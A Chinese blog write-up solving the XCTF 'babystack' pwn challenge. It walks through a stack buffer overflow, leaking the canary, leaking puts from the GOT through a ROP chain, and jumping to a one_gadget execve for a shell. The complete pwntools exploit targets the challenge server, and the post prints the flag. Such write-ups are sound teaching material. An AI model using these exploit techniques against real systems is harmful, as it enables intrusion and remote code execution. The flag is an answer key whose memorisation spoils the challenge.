【攻防世界】Pwn系列之pwn1

【攻防世界】Pwn系列之pwn1

该样本设置了RELRO和Cannary安全设置,所以加载的函数地址为随机地址化。所以需要绕过cannary和RELRO

我们首先运行下程序,有三个功能(保存、输出和退出)

接下来使用IDA反汇编程序查看伪代码逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
char s[136]; // [rsp+10h] [rbp-90h] BYREF
unsigned __int64 v6; // [rsp+98h] [rbp-8h]这就是cannary

v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(s, 0, 0x80uLL); //申请s内存地址
while ( 1 )//进入循环体
{
sub_4008B9(); //输出菜单
v3 = sub_400841();//获取输入
switch ( v3 )
{
case 2:
puts(s);//输出s
break;
case 3:
return 0LL;
case 1:
read(0, s, 0x100uLL); //s中写入数据
break;
default:
sub_400826("invalid choice");
break;
}
sub_400826(&unk_400AE7);
}
}

这里关注下函数体中的s数组,点击查看堆栈位置位于0x0090

这里未对数组越界进行检查,存在数组越界溢出漏洞。

由于设置了Cannary,首先需要绕过Cannary,办法就是获取Cannary在栈中的值,在构造payload的直接填充上该值,使得检测成功绕过Cannary。从上方伪代码中可以看出v6就是插入的Cannary值,从s到v6中间相差0x88距离,所以可以通过填充0x88字节来获取得到v6的值,如下

1
2
3
4
5
6
7
payload = b'a'*0x88
p.sendlineafter(">> ","1")
p.sendline(payload)

p.sendlineafter(">> ","2")
p.recvuntil('a'*0x88+'\n')
cannary_addr = u64(p.recv(7).rjust(8,b'\x00'))

在绕过Cannary后,就需要寻找命令执行函数,在源程序或者libc库中寻找相关函数,在libc中可找到execve(),使用小工具one_gadget寻找在libc中地址为0x45216

由于开启了地址随机化,在加载时地址发生变化,通过puts()函数在程序加载时的地址来定位execve()的地址

1
2
3
4
libc = ELF("./libc-2.23.so")
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
execve_addr = puts_addr -(libc.symbols['puts']-execve)

所以这里的问题就是如何获得puts()函数的记载地址?

这里就要用到溢出打印出puts()函数地址,由于这里是x64位程序,传参时使用rdi、rsi、rdx、rcd、r8、r9这6个寄存器,超过这6个参数就进栈。

使用rdi寄存器保存puts_got的值,调用puts_plt()打印出puts_got的地址,调用函数后还需指定返回地址,所有堆栈结果大致如下:

代码如下

1
2
3
4
5
6
payload1 = b'a'*0x88 + p64(cannary_addr)+b'a'*8 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

p.sendlineafter(">> ","1")
p.sendline(payload1)
p.sendlineafter(">> ","3")
puts_addr = u64(p.recv(8).ljust(8,b'\x00'))

上述代码可以得到puts_addr的地址,然后通过**puts_addr -(libc.symbols[‘puts’]-execve)**计算得到execve的地址

接下来进入main后再次造成溢出,直接构造payload将返回地址修改为execve地址,从而造成命令执行,如下代码

1
2
3
4
5
6
7
execve_addr = puts_addr -(libc.symbols['puts']-execve)

payload2 = b'a'*0x88 +p64(cannary_addr)+b'a'*8+p64(execve_addr)
p.sendlineafter(">> ","1")
p.sendline(payload2)
p.sendlineafter(">> ","3")
p.interactive()

完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

libc = ELF("./libc-2.23.so")
elf = ELF("./babystack")
p=remote('61.147.171.105',65052)
execve = 0x45216
main_addr = 0x400908
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x400a93

payload = b'a'*0x88
p.sendlineafter(">> ","1")
p.sendline(payload)

p.sendlineafter(">> ","2")
p.recvuntil('a'*0x88+'\n')
#canary = u64(p.recv(7).rjust(8,'\x00'))
cannary_addr = u64(p.recv(7).rjust(8,b'\x00'))
print(cannary_addr)
payload1 = b'a'*0x88 + p64(cannary_addr)+b'a'*8 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

p.sendlineafter(">> ","1")
p.sendline(payload1)
p.sendlineafter(">> ","3")
puts_addr = u64(p.recv(8).ljust(8,b'\x00'))

execve_addr = puts_addr -(libc.symbols['puts']-execve)

payload2 = b'a'*0x88 +p64(cannary_addr)+b'a'*8+p64(execve_addr)
p.sendlineafter(">> ","1")
p.sendline(payload2)
p.sendlineafter(">> ","3")
p.interactive()

得到flag为cyberpeace{5a5fbd06e649f29b14ed9481aa96b22f}

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信